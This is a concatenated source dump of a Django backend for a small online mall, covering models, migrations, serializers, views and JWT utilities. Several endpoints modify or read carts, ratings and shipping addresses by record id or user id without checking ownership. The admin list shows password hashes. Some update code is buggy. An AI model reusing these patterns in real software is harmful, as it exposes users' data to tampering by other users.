model_name='productmodel',
name='cover',
field=models.URLField(blank=True, null=True, verbose_name='封面'),
),
migrations.CreateModel(
name='CartModel',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('deleted_at', models.DateTimeField(blank=True, db_index=True, default=None, editable=False, null=True)),
('sort', models.IntegerField(default=1, verbose_name='排序')),
('remark', models.CharField(blank=True, max_length=255, null=True, verbose_name='备注')),
('create_time', models.DateTimeField(auto_now_add=True, db_index=True, verbose_name='创建时间')),
('update_time', models.DateTimeField(auto_now=True, db_index=True, verbose_name='更新时间')),
('deleted', models.BooleanField(default=False, verbose_name='是否删除')),
('count', models.IntegerField(verbose_name='数量')),
('buyer', models.ForeignKey(on_delete=django.db.models.deletion.DO_NOTHING, related_name='buyer_cart', to='users.usermodel', verbose_name='买家')),
('seller', models.ForeignKey(on_delete=django.db.models.deletion.DO_NOTHING, related_name='seller_cart', to='users.usermodel', verbose_name='卖家')),
('selling_product', models.ForeignKey(on_delete=django.db.models.deletion.DO_NOTHING, related_name='selling_product_cart', to='mall.sellingproductmodel', verbose_name='对应商品')),
],
options={
'verbose_name': '购物车信息表',
'verbose_name_plural': '购物车信息表',
'db_table': 'cart_table',
},
),
]
<file_sep>/apps/users/admin.py
from django.contrib import admin
from . import models
base_fields = ['sort', 'remark', 'create_time', 'update_time', 'deleted']
@admin.register(models.UserModel)
class UserModelAdmin(admin.ModelAdmin):
list_display = ['id', 'username', 'password', 'mobile', 'email', 'group', 'auth', 'last_login']
list_display.extend(base_fields)
list_per_page = 20
admin_order_field = 'id'
@admin.register(models.GroupModel)
class GroupModelAdmin(admin.ModelAdmin):
list_display = ['id', 'group_type', 'group_type_cn', 'group_desc']
list_display.extend(base_fields)
list_per_page = 20
admin_order_field = 'id'
@admin.register(models.AuthModel)
class AuthModelAdmin(admin.ModelAdmin):
list_display = ['id', 'auth_type', 'auth_desc', 'routers']
list_display.extend(base_fields)
list_per_page = 20
admin_order_field = 'id'
<file_sep>/storage/astorage.py
from django.core.files.storage import FileSystemStorage
class GoodFileStorage(FileSystemStorage):
from django.conf import settings
def __init__(self, location=settings.MEDIA_ROOT, base_url=settings.MEDIA_URL):
super().__init__(location, base_url)
def _save(self, name, content):
import os, time, random
ext = os.path.splitext(name)[1]
fname = '{}_{}_{}'.format(os.path.splitext(name)[0], time.strftime('%Y%m%d%H%M%S'), random.randint(100000, 999999))
name = os.path.join((fname + ext))
return super()._save(name, content)
<file_sep>/apps/mall/migrations/0005_delete_ordermodel.py
# Generated by Django 3.1.6 on 2021-02-18 22:19
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('mall', '0004_ordermodel'),
]
operations = [
migrations.DeleteModel(
name='OrderModel',
),
]
<file_sep>/apps/mall/migrations/0004_ordermodel.py
# Generated by Django 3.1.6 on 2021-02-18 22:18
from django.db import migrations, models
import django.db.models.deletion
import uuid
class Migration(migrations.Migration):
dependencies = [
('users', '0003_shippingaddressmodel'),
('mall', '0003_delete_ordermodel'),
]
operations = [
migrations.CreateModel(
name='OrderModel',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('order_id', models.UUIDField(auto_created=True, default=uuid.uuid4, editable=False, verbose_name='订单号')),
('deleted_at', models.DateTimeField(blank=True, db_index=True, default=None, editable=False, null=True)),
('sort', models.IntegerField(default=1, verbose_name='排序')),
('remark', models.CharField(blank=True, max_length=255, null=True, verbose_name='备注')),
('create_time', models.DateTimeField(auto_now_add=True, db_index=True, verbose_name='创建时间')),
('update_time', models.DateTimeField(auto_now=True, db_index=True, verbose_name='更新时间')),
('deleted', models.BooleanField(default=False, verbose_name='是否删除')),
('order_status', models.IntegerField(choices=[(0, '已关闭'), (1, '已下单'), (2, '待发货'), (3, '已完成')], default=1, verbose_name='订单状态')),
('address', models.ForeignKey(on_delete=django.db.models.deletion.DO_NOTHING, related_name='address_order', to='users.shippingaddressmodel', verbose_name='收获地址')),
('buyer', models.ForeignKey(on_delete=django.db.models.deletion.DO_NOTHING, related_name='buyer_order', to='users.usermodel', verbose_name='买家')),
('seller', models.ForeignKey(on_delete=django.db.models.deletion.DO_NOTHING, related_name='seller_order', to='users.usermodel', verbose_name='卖家')),
('selling_product', models.ForeignKey(on_delete=django.db.models.deletion.DO_NOTHING, related_name='selling_product_order', to='mall.sellingproductmodel', verbose_name='对应商品')),
],
options={
'verbose_name': '订单信息表',
'verbose_name_plural': '订单信息表',
'db_table': 'order_info_table',
},
),
]
<file_sep>/apps/mall/migrations/0002_auto_20210218_2209.py
# Generated by Django 3.1.6 on 2021-02-18 22:09
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('mall', '0001_initial'),
]
operations = [
migrations.AlterField(
model_name='productmodel',
name='price',
field=models.DecimalField(blank=True, decimal_places=2, max_digits=30, null=True, verbose_name='推荐价格'),
),
migrations.AlterField(
model_name='sellingproductmodel',
name='selling_price',
field=models.DecimalField(decimal_places=2, max_digits=30, verbose_name='售价'),
),
]
<file_sep>/apps/base/migrations/0002_filemodel.py
# Generated by Django 3.1.6 on 2021-02-21 18:34
from django.db import migrations, models
import storage.astorage
class Migration(migrations.Migration):
dependencies = [
('base', '0001_initial'),
]
operations = [
migrations.CreateModel(
name='FileModel',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('deleted_at', models.DateTimeField(blank=True, db_index=True, default=None, editable=False, null=True)),
('sort', models.IntegerField(default=1, verbose_name='排序')),
('remark', models.CharField(blank=True, max_length=255, null=True, verbose_name='备注')),
('create_time', models.DateTimeField(auto_now_add=True, db_index=True, verbose_name='创建时间')),
('update_time', models.DateTimeField(auto_now=True, db_index=True, verbose_name='更新时间')),
('deleted', models.BooleanField(default=False, verbose_name='是否删除')),
('file', models.FileField(storage=storage.astorage.GoodFileStorage(), upload_to='file', verbose_name='文件')),
],
options={
'permissions': (('can_undelete', 'Can undelete this object'),),
'abstract': False,
},
),
]
<file_sep>/apps/users/serializers.py
from rest_framework import serializers
from rest_framework.validators import UniqueValidator, UniqueTogetherValidator
from apps.users.models import *
# 登录
class postLoginViewSerializer(serializers.Serializer):
username = serializers.CharField()
password = serializers.CharField()
class postSignupViewSerializer(serializers.Serializer):
username = serializers.CharField()
nick_name = serializers.CharField()
password = serializers.CharField()
email = serializers.CharField()
class getUserViewSerializer(serializers.Serializer):
_data = serializers.JSONField(required=False)
def validate(self, attrs):
now_user = self.context['request'].user
attrs['_data'] = {
'id': now_user.id,
'username': now_user.username,
'mobile': now_user.mobile[:3] + '****' + now_user.mobile[-4:],
'email': now_user.email,
'id_num': now_user.id_num[:4] + '**********' + now_user.id_num[-4:],
'nick_name': now_user.nick_name,
'signature': now_user.signature,
'region': now_user.region,
'avatar_url': now_user.avatar_url,
'gender': now_user.gender,
'gender_cn': now_user.get_gender_display(),
'birth_date': now_user.birth_date,
'last_login': now_user.last_login,
'roles': now_user.auth.get_routers,
'group': now_user.group.group_type
}
return attrs
class postUserViewSerializer(serializers.Serializer):
pass
class putUserViewSerializer(serializers.Serializer):
id = serializers.IntegerField()
password = serializers.CharField(required=False)
mobile = serializers.CharField(required=False)
email = serializers.CharField(required=False)
real_name = serializers.CharField(required=False)
id_num = serializers.CharField(required=False)
nick_name = serializers.CharField(required=False)
region = serializers.CharField(required=False)
avatar_url = serializers.URLField(required=False)
gender = serializers.CharField(required=False)
birth_date = serializers.CharField(required=False)
signature = serializers.CharField(required=False)
class getShippingAddressViewSerializer(serializers.Serializer):
id = serializers.IntegerField(allow_null=True, required=False)
_data = serializers.JSONField(required=False)
def validate(self, attrs):
now_user = self.context['request'].user
if not attrs.get('id'):
attrs['_data'] = list(ShippingAddressModel.objects.filter(receiver_id=now_user.id).values())
else:
attrs['_data'] = list(ShippingAddressModel.objects.filter(id=attrs.get('id')).values())
return attrs
class postShippingAddressViewSerializer(serializers.Serializer):
addressDetail = serializers.CharField()
areaCode = serializers.CharField()
city = serializers.CharField()
country = serializers.CharField(allow_blank=True, required=False)
county = serializers.CharField()
isDefault = serializers.BooleanField()
name = serializers.CharField()
postalCode = serializers.CharField()
province = serializers.CharField()
tel = serializers.CharField()
_data = serializers.JSONField(required=False)
def validate(self, attrs):
now_user = self.context['request'].user
attrs['_data'] = {}
attrs['_data']['receiver'] = UserModel.objects.filter(id=now_user.id).first()
return attrs
class putShippingAddressViewSerializer(serializers.Serializer):
id = serializers.IntegerField()
addressDetail = serializers.CharField()
areaCode = serializers.CharField()
city = serializers.CharField()
country = serializers.CharField(allow_blank=True, required=False)
county = serializers.CharField()
isDefault = serializers.BooleanField()
name = serializers.CharField()
postalCode = serializers.CharField()
province = serializers.CharField()
tel = serializers.CharField()
_data = serializers.JSONField(required=False)
def validate(self, attrs):
now_user = self.context['request'].user
attrs['_data'] = {}
attrs['_data']['receiver'] = UserModel.objects.filter(id=now_user.id).first()
return attrs
class deleteShippingAddressViewSerializer(serializers.Serializer):
id = serializers.IntegerField()
# 新增后台用户使用
class AddUserSerializer(serializers.ModelSerializer):
class Meta:
model = UserModel
exclude = ('deleted',)
validators = [
UniqueTogetherValidator(queryset=UserModel.objects.all(), fields=['mobile',], message='该手机号已经存在'),
UniqueTogetherValidator(queryset=UserModel.objects.all(), fields=['email',], message='该邮箱已经存在'),
UniqueTogetherValidator(queryset=UserModel.objects.all(), fields=['username',], message='该登录名已经存在')
]
def validate(self, attrs):
now_user = self.context['request'].user
print(attrs['group'].group_type)
if attrs['group'].group_type == 'SuperAdmin' and now_user.group.group_type != 'SuperAdmin':
raise serializers.ValidationError("无权建立超级管理员账号。")
# if attrs['group'].group_type == 'NormalUser' and now_user.group.group_type != 'SuperAdmin':
# raise serializers.ValidationError("无权私自建立普通用户账号。")
return attrs
# 新增权限菜单约束使用
class AddAuthPermissionSerializer(serializers.ModelSerializer):
class Meta:
model = AuthPermissionModel
fields = ['id', 'object_name', 'object_name_cn', 'auth_list', 'auth_create', 'auth_update', 'auth_destroy']
# 返回权限使用
class ReturnAuthSerializer(serializers.ModelSerializer):
auth_permissions = AddAuthPermissionSerializer(read_only=True, many=True)
class Meta:
model = AuthModel
exclude = ('deleted',)
# ReturnUserSerializer 使用的group序列化器
class UserUseGroupSerializer(serializers.ModelSerializer):
class Meta:
model = GroupModel
exclude = ('deleted',)
# 返回用户使用 userinfo也使用
class ReturnUserSerializer(serializers.ModelSerializer):
group = UserUseGroupSerializer()
auth = ReturnAuthSerializer()
class Meta:
model = UserModel
exclude = ('deleted', 'password',)
# 修改后台用户使用
class UpdateUserSerializer(serializers.ModelSerializer):
class Meta:
model = UserModel
exclude = ('deleted',)
validators = [
UniqueTogetherValidator(queryset=UserModel.objects.all(), fields=['mobile', ], message='该手机号已经存在'),
UniqueTogetherValidator(queryset=UserModel.objects.all(), fields=['username', ], message='该登录名已经存在')
]
def validate(self, attrs):
now_user = self.context['request'].user
if attrs.get('group') and now_user.group.group_type != 'SuperAdmin':
raise serializers.ValidationError("无权修改用户组。")
return attrs
<file_sep>/apps/mall/models.py
import uuid
from django.db import models
from apps.base.models import BaseModel, SoftDeleteObject
from apps.users.models import UserModel, ShippingAddressModel
from storage.astorage import GoodFileStorage
class CategoryModel(SoftDeleteObject, BaseModel):
category = models.CharField(max_length=255, verbose_name='类别')
description = models.CharField(max_length=255, blank=True, null=True, verbose_name='描述')
class Meta:
db_table = 'product_category_table'
verbose_name = '商品类别表'
verbose_name_plural = verbose_name
@property
def category_list(self):
return {
'id': self.id,
'category': self.category,
'description': self.description
}
class ProductModel(SoftDeleteObject, BaseModel):
name = models.CharField(max_length=255, blank=True, null=True, verbose_name='商品名称')
introduction = models.CharField(max_length=255, blank=True, null=True, verbose_name='简介')
detail = models.TextField(blank=True, null=True, verbose_name='详细介绍')
cover = models.URLField(blank=True, null=True, verbose_name='封面')
price = models.DecimalField(max_digits=30, decimal_places=2, blank=True, null=True, verbose_name='推荐价格')
publisher = models.CharField(max_length=255, blank=True, null=True)
category = models.ManyToManyField(
CategoryModel,
verbose_name='类别',
related_name='category_product'
)
class Meta:
db_table = 'product_info_table'
verbose_name = '商品信息表'
verbose_name_plural = verbose_name
class SellingProductModel(SoftDeleteObject, BaseModel):
selling_price = models.DecimalField(max_digits=30, decimal_places=2, verbose_name='售价')
count = models.IntegerField(default=1, verbose_name='数量')
product = models.ForeignKey(
ProductModel,
on_delete=models.DO_NOTHING,
verbose_name='商品',
related_name='selling_product'
)
seller = models.ForeignKey(
UserModel,
on_delete=models.DO_NOTHING,
verbose_name='卖家',
related_name='seller_product'
)
class Meta:
db_table = 'selling_product_table'
verbose_name = '在售商品表'
verbose_name_plural = verbose_name
class ProductImageModel(SoftDeleteObject, BaseModel):
image = models.URLField(verbose_name='商品图片')
selling_product = models.ForeignKey(
SellingProductModel,
on_delete=models.DO_NOTHING,
verbose_name='在售商品',
related_name='selling_product_image'
)
class Meta:
db_table = 'product_image_table'
verbose_name = '商品图片表'
verbose_name_plural = verbose_name
class OrderModel(SoftDeleteObject, BaseModel):
ORDER_STATUS_CHOICE = (
(0, '已关闭'),
(1, '已下单'),
(2, '待发货'),
(3, '已完成'),
)
order_id = models.UUIDField(auto_created=True, default=uuid.uuid4, editable=False, verbose_name='订单号')
order_status = models.IntegerField(choices=ORDER_STATUS_CHOICE, default=1, verbose_name='订单状态')
count = models.IntegerField(default=1, verbose_name='数量')
total_fee = models.DecimalField(max_digits=30, decimal_places=2, verbose_name='总价')
selling_product = models.ForeignKey(
SellingProductModel,
on_delete=models.DO_NOTHING,
verbose_name='对应商品',
related_name='selling_product_order'
)
seller = models.ForeignKey(
UserModel,
on_delete=models.DO_NOTHING,
verbose_name='卖家',
related_name='seller_order'
)
buyer = models.ForeignKey(
UserModel,
on_delete=models.DO_NOTHING,
verbose_name='买家',
related_name='buyer_order'
)
address = models.ForeignKey(
ShippingAddressModel,
on_delete=models.DO_NOTHING,
verbose_name='收获地址',
related_name='address_order'
)
class Meta:
db_table = 'order_info_table'
verbose_name = '订单信息表'
verbose_name_plural = verbose_name
class CartModel(SoftDeleteObject, BaseModel):
count = models.IntegerField(verbose_name='数量')
selling_product = models.ForeignKey(
SellingProductModel,
on_delete=models.DO_NOTHING,
verbose_name='对应商品',
related_name='selling_product_cart'
)
seller = models.ForeignKey(
UserModel,
on_delete=models.DO_NOTHING,
verbose_name='卖家',
related_name='seller_cart'
)
buyer = models.ForeignKey(
UserModel,
on_delete=models.DO_NOTHING,
verbose_name='买家',
related_name='buyer_cart'
)
class Meta:
db_table = 'cart_table'
verbose_name = '购物车信息表'
verbose_name_plural = verbose_name
class RateModel(SoftDeleteObject, BaseModel):
fraction = models.IntegerField(verbose_name='数量')
product = models.ForeignKey(
ProductModel,
on_delete=models.DO_NOTHING,
verbose_name='对应商品',
related_name='product_rate'
)
user = models.ForeignKey(
UserModel,
on_delete=models.DO_NOTHING,
verbose_name='评分人',
related_name='user_rate'
)
class Meta:
db_table = 'rate_table'
verbose_name = '商品评分表'
verbose_name_plural = verbose_name
<file_sep>/apps/mall/views.py
import datetime
from typing import List, Any
from drf_yasg import openapi
from drf_yasg.openapi import Parameter, IN_PATH, IN_QUERY, TYPE_INTEGER, TYPE_STRING
from drf_yasg.utils import swagger_auto_schema
from rest_framework import generics
from rest_framework.viewsets import ModelViewSet
from rest_framework.filters import SearchFilter, OrderingFilter
from django_filters.rest_framework import DjangoFilterBackend
from django.db.models import Q
from django.utils.module_loading import import_string
from utils.preprocessing import warm_hug, protect
from utils.exception import CustomerError
from utils.jwtAuth import JWTAuthentication
from utils.pagination import Pagination
# 自定义的JWT配置 公共插件
from utils.utils import jwt_decode_handler, jwt_encode_handler, jwt_payload_handler, jwt_payload_handler, jwt_response_payload_handler, VisitThrottle
from apps.mall.models import *
from apps.mall.serializers import *
class ProductView(generics.GenericAPIView):
authentication_classes = (JWTAuthentication,)
@protect()
def get(self, request, *args, **kwargs):
activeName = request.GET.get('activeName')
key = request.GET.get('key')
page = int(request.GET.get('page'))
page_size = int(request.GET.get('page_size'))
if activeName == 'recommend':
data = self.get_recommend_data(key, page, page_size)
elif activeName == 'new':
data = self.get_new_data(key, page, page_size)
elif activeName == 'selling':
data = self.get_selling_data(key, page, page_size)
else:
data = []
return data
@warm_hug()
def post(self, request, *args, **kwargs):
request_data = kwargs.get('data')
obj_product = ProductModel.objects.create(
name=request_data.get('name'),
introduction=request_data.get('introduction'),
detail=request_data.get('detail'),
cover=request_data.get('cover'),
price=request_data.get('price'),
publisher=request_data.get('publisher'),
)
obj_product.category.set(request_data.get('category_list'))
obj_sp = SellingProductModel.objects.create(
selling_price=request_data['_data']['selling_price'],
count=request_data.get('count'),
product=obj_product,
seller=request_data['_data']['seller']
)
ProductImageModel.objects.bulk_create(
[ProductImageModel(image=img, selling_product=obj_sp) for img in request_data.get('img_list')]
)
@staticmethod
def get_recommend_data(key, page, page_size):
qset_product = SellingProductModel.objects.select_related('product', 'seller').filter(
Q(product__name__icontains=key) |
Q(product__introduction__icontains=key) |
Q(product__publisher__icontains=key)
)
res = []
products = Pagination.pagination_filter(qset_product, page, page_size)
for p in products:
res.append({
'id': p.id,
'pid': p.product.id,
'seller_id': p.seller.id,
'count': p.count,
'selling_price': str(p.selling_price),
'name': p.product.name,
'introduction': p.product.introduction,
'detail': p.product.detail,
'cover': p.product.cover,
'price': str(p.product.price),
'publisher': p.product.publisher,
'category': [c.category_list for c in p.product.category.all()],
})
return res
@staticmethod
def get_new_data(key, page, page_size):
now_time = datetime.datetime.now()
month_ago = now_time - datetime.timedelta(days=30)
qset_product = SellingProductModel.objects.select_related('product', 'seller').order_by("-create_time").filter(
# Q(name__icontains=key) |
# Q(introduction__icontains=key) |
# Q(publisher__icontains=key),
create_time__range=(month_ago, now_time)
)
res = []
products = Pagination.pagination_filter(qset_product, page, page_size)
for p in products:
res.append({
'id': p.id,
'pid': p.product.id,
'seller_id': p.seller.id,
'count': p.count,
'selling_price': str(p.selling_price),
'name': p.product.name,
'introduction': p.product.introduction,
'detail': p.product.detail,
'cover': p.product.cover,
'price': str(p.product.price),
'publisher': p.product.publisher,
'category': [c.category_list for c in p.product.category.all()],
})
return res
@staticmethod
def get_selling_data(key, page, page_size):
return []
class GoodsView(generics.GenericAPIView):
@protect()
def get(self, request, *args, **kwargs):
pid = request.GET.get('pid')
obj_product = ProductModel.objects.filter(id=pid).first()
obj_img = ProductImageModel.objects.filter(selling_product__product_id=pid).values('id', 'image')
res = [{
'id': obj_product.id,
'name': obj_product.name,
'introduction': obj_product.introduction,
'detail': obj_product.detail,
'cover': obj_product.cover,
'price': str(obj_product.price),
'publisher': obj_product.publisher,
'category_list': [c.category_list for c in obj_product.category.all()],
'image_list': list(obj_img)
}]
print(res)
return res
class CartView(generics.GenericAPIView):
authentication_classes = (JWTAuthentication,)
@warm_hug()
def get(self, request, *args, **kwargs):
request_data = kwargs.get('data')
user = request_data['_data']['user']
obj_cart = CartModel.objects.select_related('selling_product__product').filter(buyer_id=user.id)
res = [{
'id': o.id,
'count': o.count,
'name': o.selling_product.product.name,
'introduction': o.selling_product.product.introduction,
'detail': o.selling_product.product.detail,
'cover': o.selling_product.product.cover,
'price': str(o.selling_product.product.price),
'publisher': o.selling_product.product.publisher,
'category_list': [c.category_list for c in o.selling_product.product.category.all()]
} for o in obj_cart]
return res
@warm_hug()
def post(self, request, *args, **kwargs):
request_data = kwargs.get('data')
user = request_data['_data']['user']
selling_product_id = request_data.get('selling_product_id')
seller_id = request_data.get('seller_id')
obj_cart = CartModel.objects.filter(selling_product_id=selling_product_id, buyer_id=user.id).first()
if obj_cart:
obj_cart.count += 1
obj_cart.save()
else:
CartModel.objects.create(
count=1,
selling_product=SellingProductModel.objects.get(id=selling_product_id),
seller=UserModel.objects.get(id=seller_id),
buyer=UserModel.objects.get(id=user.id),
)
@warm_hug()
def put(self, request, *args, **kwargs):
request_data = kwargs.get('data')
CartModel.objects.filter(id=request_data.get('cart_id')).update(count=request_data.get('count'))
@warm_hug()
def delete(self, request, *args, **kwargs):
request_data = kwargs.get('data')
CartModel.objects.filter(id=request_data.get('cart_id')).delete()
class CategoryView(generics.GenericAPIView):
authentication_classes = (JWTAuthentication,)
@warm_hug()
def get(self, request, *args, **kwargs):
obj_category = CategoryModel.objects.filter().values('id', 'category', 'description')
res = list(obj_category)
for r in res:
r['defaultIndex'] = r.pop('id')
return res
class SellingProductView(generics.GenericAPIView):
authentication_classes = (JWTAuthentication,)
@warm_hug()
def get(self, request, *args, **kwargs):
user = kwargs['data']['_data']['user']
obj_category = SellingProductModel.objects.select_related('product').filter(seller_id=user.id)
res = list()
for obj in obj_category:
res.append({
'id': obj.id,
'selling_price': obj.selling_price,
'count': obj.count,
'name': obj.product.name,
'introduction': obj.product.introduction,
'detail': obj.product.detail,
'cover': obj.product.cover,
'price': obj.product.price,
'publisher': obj.product.publisher,
'category_list': list(obj.product.category.all().values('id', 'category', 'description')),
})
return res
@warm_hug()
def put(self, request, *args, **kwargs):
request_data = kwargs.get('data')
user = request_data['_data']['user']
name = request_data.get('name')
introduction = request_data.get('introduction')
detail = request_data.get('detail')
cover = request_data.get('cover')
price = request_data.get('price')
publisher = request_data.get('publisher')
category_list = request_data.get('category_list')
img_list = request_data.get('img_list')
count = request_data.get('count')
obj_sp = SellingProductModel.objects.filter(id=request_data.get('id')).first()
if not obj_sp:
raise CustomerError(errno=1004, errmsg='商品不存在')
if name: obj_sp.name = name
if introduction: obj_sp.product.introduction = introduction
if detail: obj_sp.product.detail = detail
if cover: obj_sp.product.cover = cover
if price:
obj_sp.product.price = price
obj_sp.selling_price = price
if publisher: obj_sp.product.publisher = publisher
if count: obj_sp.count = count
if category_list:
obj_sp.product.category.clear()
obj_sp.product.category.set(category_list)
obj_sp.save()
return
class RateView(generics.GenericAPIView):
authentication_classes = (JWTAuthentication,)
@protect()
def get(self, request, *args, **kwargs):
uid = int(request.GET.get('uid'))
pid = int(request.GET.get('pid'))
obj_rate = RateModel.objects.filter(user_id=uid, product_id=pid).first()
if not obj_rate:
return
return [{
'id': obj_rate.id,
'fraction': obj_rate.fraction,
}]
@warm_hug()
def post(self, request, *args, **kwargs):
request_data = kwargs.get('data')
uid = request_data.get('uid')
pid = request_data.get('pid')
fraction = request_data.get('fraction')
RateModel.objects.update_or_create(
user_id=uid,
product_id=pid,
defaults={
'fraction': fraction
}
)
<file_sep>/apps/mall/urls.py
from django.urls import path
from apps.mall.views import *
app_name = 'mall'
urlpatterns = [
path('category/', CategoryView.as_view(), name="类别"),
path('product/', ProductView.as_view(), name="商品"),
path('sellingProduct/', SellingProductView.as_view(), name="在售商品"),
path('goods/', GoodsView.as_view(), name="在售商品"),
path('rate/', RateView.as_view(), name="评分"),
path('cart/', CartView.as_view(), name="购物车"),
]
<file_sep>/apps/users/migrations/0003_shippingaddressmodel.py
# Generated by Django 3.1.6 on 2021-02-18 22:18
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('users', '0002_delete_shippingaddressmodel'),
]
operations = [
migrations.CreateModel(
name='ShippingAddressModel',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('deleted_at', models.DateTimeField(blank=True, db_index=True, default=None, editable=False, null=True)),
('sort', models.IntegerField(default=1, verbose_name='排序')),
('remark', models.CharField(blank=True, max_length=255, null=True, verbose_name='备注')),
('create_time', models.DateTimeField(auto_now_add=True, db_index=True, verbose_name='创建时间')),
('update_time', models.DateTimeField(auto_now=True, db_index=True, verbose_name='更新时间')),
('deleted', models.BooleanField(default=False, verbose_name='是否删除')),
('region', models.CharField(blank=True, default='', max_length=255, verbose_name='地区')),
('address', models.CharField(blank=True, default='', max_length=255, verbose_name='详细地址')),
('receiver', models.ForeignKey(on_delete=django.db.models.deletion.DO_NOTHING, related_name='receiver_address', to='users.usermodel', verbose_name='收货人')),
],
options={
'verbose_name': '收货地址表',
'verbose_name_plural': '收货地址表',
'db_table': 'users_address_table',
},
),
]
<file_sep>/apps/users/tests.py
from django.test import TestCase
# Create your tests here.
# routers = ["", "", "", "", "", "", "", "", ]
# class test:
# data1 = 1
#
# t = test()
# print(setattr(t, 'data1', 2))
# print(t.data1)
<file_sep>/utils/exception.py
class CustomerError(BaseException):
def __init__(self, errno=None, errmsg=None, **kwargs):
self.errno = errno
self.errmsg = errmsg
self.kwargs = kwargs
def __str__(self):
return repr(self.__class__.__name__)
<file_sep>/apps/base/views.py
from django import forms
from django.views import View
from apps.base.models import FileModel
from utils.response import json_response
class FileSystemForm(forms.Form):
file = forms.FileField(error_messages={"required": "file不能为空"})
class FileSystemView(View):
def post(self, request, *args, **kwargs):
print(request.POST)
obj_form = FileSystemForm(request.POST, request.FILES)
if obj_form.is_valid():
request_data = obj_form.clean()
obj_file = FileModel()
obj_file.file = request_data.get('file')
file = request_data.get('file')
print(file.name)
obj_file.save()
res = {
'file_path': obj_file.file_path
}
return json_response(res)
else:
return json_response(errno=1001, errmsg=obj_form.errors)
<file_sep>/apps/users/migrations/0008_auto_20210228_1323.py
# Generated by Django 3.1.6 on 2021-02-28 13:23
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('users', '0007_auto_20210228_1301'),
]
operations = [
migrations.RemoveField(
model_name='shippingaddressmodel',
name='address',
),
migrations.RemoveField(
model_name='shippingaddressmodel',
name='region',
),
migrations.AddField(
model_name='shippingaddressmodel',
name='areaCode',
field=models.CharField(blank=True, default='', max_length=20, verbose_name='地区码'),
),
migrations.AddField(
model_name='shippingaddressmodel',
name='city',
field=models.CharField(blank=True, default='', max_length=255, verbose_name='市'),
),
migrations.AddField(
model_name='shippingaddressmodel',
name='country',
field=models.CharField(blank=True, default='', max_length=255, verbose_name='国家'),
),
migrations.AddField(
model_name='shippingaddressmodel',
name='county',
field=models.CharField(blank=True, default='', max_length=255, verbose_name='区'),
),
migrations.AddField(
model_name='shippingaddressmodel',
name='isDefault',
field=models.BooleanField(blank=True, default=False, null=True, verbose_name='默认'),
),
migrations.AddField(
model_name='shippingaddressmodel',
name='postalCode',
field=models.CharField(blank=True, default='', max_length=20, verbose_name='邮编'),
),
migrations.AddField(
model_name='shippingaddressmodel',
name='province',
field=models.CharField(blank=True, default='', max_length=255, verbose_name='省/直辖市'),
),
]
<file_sep>/utils/response.py
from django.http.response import JsonResponse
def json_response(result=None, errno=None, errmsg=None, status=200, **kwargs):
data = {
'errno': errno or 0,
'errmsg': errmsg or 'SUCCESS',
'data': {
'result': result if type(result) == list else [result]
}
}
data['data'].update(kwargs)
resp = JsonResponse(data=data, status=status)
if type(result) == dict and result.get('token'):
resp.set_cookie('Token', result.get('token'))
return resp
<file_sep>/utils/utils.py
import base64, json, re, jwt, datetime, time, hashlib, random
from calendar import timegm
# 导入谷歌验证码相关模块
# import pyotp
# 导入使用缓存的模块
# from django.core.cache import cache
from rest_framework.throttling import BaseThrottle
from django.conf import settings
from conf.area.area_list import area_dict
from utils.settings import api_settings
def jwt_payload_handler(account):
payload = {
'id': account.pk,
'exp': datetime.datetime.utcnow() + api_settings.JWT_EXPIRATION_DELTA # 过期时间
}
if api_settings.JWT_ALLOW_REFRESH:
payload['orig_iat'] = timegm(
datetime.datetime.utcnow().utctimetuple()
)
if api_settings.JWT_AUDIENCE is not None:
payload['aud'] = api_settings.JWT_AUDIENCE
if api_settings.JWT_ISSUER is not None:
payload['iss'] = api_settings.JWT_ISSUER
return payload
def jwt_get_user_id_from_payload_handler(payload):
return payload.get('id')
def jwt_encode_handler(payload):
return jwt.encode(
payload,
api_settings.JWT_PRIVATE_KEY or api_settings.JWT_SECRET_KEY,
api_settings.JWT_ALGORITHM
)
def jwt_decode_handler(token):
options = {
'verify_exp': api_settings.JWT_VERIFY_EXPIRATION,
}
return jwt.decode(
token,
api_settings.JWT_PUBLIC_KEY or api_settings.JWT_SECRET_KEY,
[api_settings.JWT_ALGORITHM],
options=options,
verify=api_settings.JWT_VERIFY,
leeway=api_settings.JWT_LEEWAY,
audience=api_settings.JWT_AUDIENCE,
issuer=api_settings.JWT_ISSUER
)
def jwt_response_payload_handler(token, user=None, request=None):
return {
'token': token
}
# 频率组件
VISIT_RECORD = {}
class VisitThrottle(BaseThrottle):
def __init__(self):
self.history = None
def allow_request(self, request, view):
remote_addr = request.META.get('HTTP_X_REAL_IP')
# print('请求的IP:',remote_addr)
ctime = time.time()
if remote_addr not in VISIT_RECORD:
VISIT_RECORD[remote_addr] = [ctime,]
return True
history = VISIT_RECORD.get(remote_addr)
self.history = history
while history and history[-1] < ctime - 60:
history.pop()
print(VISIT_RECORD)
if len(history) < 100: # 限制的频数 设置同一IP该接口一分钟内只能被访问100次
history.insert(0, ctime)
return True
else:
return False
def wait(self):
ctime = time.time()
return 60 - (ctime-self.history[-1])
def get_region_cn(code):
province = area_dict['province_list'][code[0:2] + '0000']
city = area_dict['city_list'][code[0:4] + '00']
county = area_dict['county_list'][code]
return province + '-' + city + '-' + county
<file_sep>/apps/users/migrations/0007_auto_20210228_1301.py
# Generated by Django 3.1.6 on 2021-02-28 13:01
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('users', '0006_auto_20210218_2312'),
]
operations = [
migrations.RenameField(
model_name='shippingaddressmodel',
old_name='real_name',
new_name='name',
),
migrations.RenameField(
model_name='shippingaddressmodel',
old_name='mobile',
new_name='tel',
),
]
<file_sep>/apps/users/migrations/0006_auto_20210218_2312.py
# Generated by Django 3.1.6 on 2021-02-18 23:12
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('users', '0005_shippingaddressmodel'),
]
operations = [
migrations.AddField(
model_name='shippingaddressmodel',
name='mobile',
field=models.CharField(blank=True, default='', max_length=11, verbose_name='用户手机号'),
),
migrations.AddField(
